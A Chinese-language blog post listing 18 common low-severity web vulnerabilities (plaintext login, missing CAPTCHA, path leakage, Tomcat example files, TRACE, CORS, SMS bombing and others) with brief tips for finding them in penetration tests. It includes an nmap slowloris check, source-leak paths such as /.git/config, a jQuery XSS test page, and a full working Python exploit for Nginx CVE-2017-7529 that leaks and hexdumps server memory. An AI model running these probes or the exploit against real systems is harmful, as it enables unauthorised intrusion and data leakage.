关于项目里面的硬核漏洞(找不到漏洞看这里)

简介: 关于项目里面的硬核漏洞

  以下漏洞过于硬核又比较相对容易挖掘,毕竟我是实习两年半的低危文档工程师。(可能写的不太全)适合在渗透里面没有找到漏洞,以防尴尬。

1.明文传输

       一段未经过任何加密的数据

挖掘技巧:

       抓取登录口数据包查看

640.png

2.HTTP慢速攻击

   缓慢的http拒绝服务攻击是一种专门针对于Web的应用层拒绝服务攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量http request攻击,直到服务器带宽被打满,造成了拒绝服务。

挖掘技巧:

 

nmap -sV -vv -p80 --script=http-slowloris-check


3.未添加验证码

    没有验证码验证机制,导致可以爆破账户密码。
挖掘技巧:
    检查登录口

640.png

4.绝对路径泄露(版本泄露)

    错误页面由服务器产生403、404、500等错误时,返回详细错误信息。报错信息中可能会包含服务器代码信息、数据库连接信息、SQL语句或者敏感文件的路径,为攻击者收集信息提供了方便。

挖掘技巧:

      640.png 

640.png

640.png

5.Http.sys远程代码执行

         HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

挖掘技巧:

            Burp抓包/扫描器

640.png

6.iis6缓冲区溢出远程代码执行漏洞
       CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

挖掘技巧:

       扫描器

640.jpg

7.TOMCAT示例文件泄露

     Tomcat默认存在一个管理后台,默认的管理地址是http://IP或域名:端口号/manager/html。通过此后台,可以在不重启Tomcat服务的情况下方便地部署、启动、停止或卸载WEB应用。但是,如果配置不当的话就存在很大的安全隐患。攻击者利用这个弱点可以非常快速、轻松地入侵一台服务器,下面我们来看一个实例。

挖掘技巧:
       访问

/examples/servlets/servlet/SessionExample
/docs/
/examples/servlets/index.html
/examples/jsp/index.htmls

640.jpg

8. 跨站请求追踪

    TRACE作用:客户端发起一个请求时,这个请求可能要穿过防火墙、代理、网关或其他一些应用程序。每个中间节点都可能会修改原始的 HTTP 请求。TRACE 方法允许客户端在 最终将请求发送给服务器时,看看它变成了什么样子。
挖掘技巧:
    当服务器允许trace方法时,就可能存在跨站跟踪攻击。跨站跟踪攻击即CST攻击,是一种利用XSS和HTTP TRACE功能来进行攻击的方式。

640.jpg 

9. 源码泄露

/robots.txt
    /.git/config 
    /.svn/entries
    /.DS_Store

挖掘技巧:

    目录扫描

       640.jpg

10. Flash跨域访问

flash跨域通信,依据的是crossdomain.xml文件。该文件配置在服务端,一般为根目录下,限制了flash是否可以跨域获取数据以及允许从什么地方跨域获取数据。

挖掘技巧:

   访问crossdomain.xml

640.png

11. jQuery版本过低

        因版本过低可导致XSS
挖掘技巧:
          找到jQuery文件

<!DOCTYPE html><html><head><script src="jq地址"></script> <meta charset="utf-8"> <title>JS Bin</title></head><body> JQuery xss Test <script>var img = $("<img onerror='alert(123);'>");img.attr('src','xx');</script></body></html>

640.png

12. HTTP头部攻击

        对Http头部进行污染
挖掘技巧:
          修改数据包

640.png

640.jpg

13. 跨域资源共享(CORS)        跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。

挖掘技巧:
          修改数据包

640.png

14. 内网ip泄露
       网页中泄露内网ip

挖掘技巧:
          修改数据包

640.png

15. Nginx整数溢出漏洞CVE-2017-7529        在Nginx的range filter中存在整数溢出漏洞,可以通过带有特殊构造的range的HTTP头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。
挖掘技巧:

import urllib.parse, requests, argparse
global colorama, termcolor
try:
    import colorama, termcolor
    colorama.init(autoreset=True)
except Exception as e:
    termcolor = colorama = None
colored = lambda text, color="", dark=False: termcolor.colored(text, color or "white", attrs=["dark"] if dark else []) if termcolor and colorama else text
class Exploit(requests.Session):
    buffer = set()
    def __init__(self, url):
        length = int(requests.get(url).headers.get("Content-Length", 0)) + 623
        super().__init__()
        self.headers = {"Range": f"bytes=-{length},-9223372036854{776000 - length}"}
        self.target = urllib.parse.urlsplit(url)
    def check(self):
        try:
            response = self.get(self.target.geturl())
            return response.status_code == 206 and "Content-Range" in response.text
        except Exception as e:
            return False
    def hexdump(self, data):
        for b in range(0, len(data), 16):
            line = [char for char in data[b: b + 16]]
            print(colored(" -  {:04x}: {:48} {}".format(b, " ".join(f"{char:02x}" for char in line), "".join((chr(char) if 32 <= char <= 126 else ".") for char in line)), dark=True))
    def execute(self):
        vulnerable = self.check()
        print(colored(f"[{'+' if vulnerable else '-'}] {exploit.target.netloc} is Vulnerable: {str(vulnerable).upper()}", "white" if vulnerable else "yellow"))
        if vulnerable:
            data = b""
            while len(self.buffer) < 0x80:
                try:
                    response = self.get(self.target.geturl())
                    for line in response.content.split(b"\r\n"):
                        if line not in self.buffer:
                            data += line
                            self.buffer.add(line)
                except Exception as e:
                    print()
                    print(colored(f"[!] {type(e).__name__}:", "red"))
                    print(colored(f" -  {e}", "red", True))
                    break
                except KeyboardInterrupt:
                    print()
                    print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red"))
                    break
                print(colored(f"[i] Receiving Data [{len(data)} bytes] ..."), end = "\r")
            if data:
                print()
                self.hexdump(data)
if __name__ == "__main__":
    parser = argparse.ArgumentParser(prog = "CVE-2017-7529",
                                     description = "Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.",
                                     epilog = "By: en0f")
    parser.add_argument("url", type = str, help = "Target URL.")
    parser.add_argument("-c", "--check", action = "store_true", help = "Only check if Target is vulnerable.")
    args = parser.parse_args()
    try:
        exploit = Exploit(args.url)
        if args.check:
            vulnerable = exploit.check()
            print(colored(f"[{'+' if vulnerable else '-'}] {exploit.target.netloc} is Vulnerable: {str(vulnerable).upper()}", "white" if vulnerable else "yellow"))
        else:
            try:
                exploit.execute()
            except Exception as e:
                print(colored(f"[!] {type(e).__name__}:", "red"))
                print(colored(f" -  {e}", "red", True))
    except KeyboardInterrupt:
        print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red"))
    except Exception as e:
        print(colored(f"[!] {urllib.parse.urlsplit(args.url).netloc}: {type(e).__name__}", "red"))

16. iis短文件
   为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。
挖掘技巧:
     现有工具

640.png

17. 短信炸弹
       在接收短信处都有可能存在短信轰炸漏洞
挖掘技巧:
       重复发送数据包

640.jpg

18. SSL/tls1.0贵宾犬
       nmap扫描可检测
挖掘技巧:

import ssl,socket,sys
SSL_VERSION={
    'SSLv2':ssl.PROTOCOL_SSLv2,
    'SSLv3':ssl.PROTOCOL_SSLv3,
    'SSLv23':ssl.PROTOCOL_SSLv23,
    'TLSv1':ssl.PROTOCOL_TLSv1,
}
def check_ssl_version(version):
    try:
        https = ssl.SSLSocket(socket.socket(),ssl_version=SSL_VERSION.get(version))
        c = https.connect((ip,port))
        print version + ' Supported'
        return True
    except Exception as e:
        return False
USAGE = '==========\nKPoodle - SSL version and poodle attack vulnerability detect tool\n==========\nUsage: python kpoodle.py target port(default:443)\n\nby kingx'
try:
    ip = sys.argv[1]
except:
    print USAGE
    sys.exit()
try:
    port = int(sys.argv[2])
except:
    port = 443
try:
    print 'Connecting...'
    s = socket.socket().connect((ip,port))
except Exception as e:
    print e
    print 'Can not connect to the target!'
    sys.exit()
try:
    print 'Checking...'
    ssl3 = check_ssl_version('SSLv3')
    ssl2 = check_ssl_version('SSLv2')
    ssl23 = check_ssl_version('SSLv23')
    tls = check_ssl_version('TLSv1')
    if ssl3:
        print '\nSSLv3 Poodle Vulnerable!'
    else:
        print '\nNo SSLv3 Support!'
except Exception as e:
    print e

640.png

相关文章
|
4月前
|
云安全 安全 中间件
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
|
10月前
|
安全
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
1406 0
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
|
10月前
|
安全
致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现
致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现
1475 0
|
数据采集 域名解析 XML
漏洞猎人赏金笔记-如何编写Bug Bounty自动化脚本
前言 本文原文作者为@pry0cc,本文主要是对原文相关内容的提炼以及笔记,出于易读性考虑,笔者对很多地方做了一定量的注释或者删改(因为原文中的脚本存在一定问题)。 本文主要讲解的是经典的自动化信息搜集以及数据处理和漏洞扫描的流程.
412 0
漏洞猎人赏金笔记-如何编写Bug Bounty自动化脚本
|
安全
通过自动化工具找到漏洞
前言 分享一个利用自动化工具来完成漏洞扫描的脚本,一个外国小哥哥利用这个脚本提交了40+漏洞,效果还不错,各位可以去试试
167 0
|
安全 开发者
网站总是存在漏洞怎么解决
为什么很多网站系统都存在这个安全漏洞,这里面我所指的一些网站都是一些小公司的,或者是一些个人的网站系统,比如说像阿里、腾讯、百度这些大公司,他们因为有自己的开发团队和相关的这个安全人员,他们的漏洞相对就非常非常的少。那么一个网站的话,一旦存在这个安全漏洞,它就有可能会造成巨大的这个经济损失。一般出现这个安全漏洞的网站的话,它会导致这个数据被恶意的去修改,或者是一些敏感的数据被盗取,从而造成经济的损失。
167 0
网站总是存在漏洞怎么解决
|
SQL 移动开发 供应链
网站代码审计漏洞查找技术是如何炼成的?
常常许多人问过那样一个难题,网络黑客是确实那么强大吗?就现阶段来讲,在黑客游戏或影视剧中,网络黑客所展现的工作能力与实际是相差无异的(黑客帝国此类种类以外)。唯一的差别是影视剧中的主人公可以瞬间控制供电系统,导致大城市电力工程偏瘫。走在路上任意监听所有人。
325 0
网站代码审计漏洞查找技术是如何炼成的?
|
安全 PHP 数据安全/隐私保护
thinkphp网站有漏洞怎么解决修复
2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接远程代码执行,getshell提权写入网站木马到网站根目录,甚至直接提权到服务器,该漏洞影响版本ThinkPHP 5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本。
581 0
thinkphp网站有漏洞怎么解决修复
|
云安全 监控 安全
Java开发远程调试易埋隐患,JDWPMiner挖矿木马后门分析
近日,阿里云安全监测到一种利用JDWP RCE漏洞进行挖矿的恶意攻击,对用户资产危害极大,近期传播有所上升,提醒广大用户注意防护。
828 0
Java开发远程调试易埋隐患,JDWPMiner挖矿木马后门分析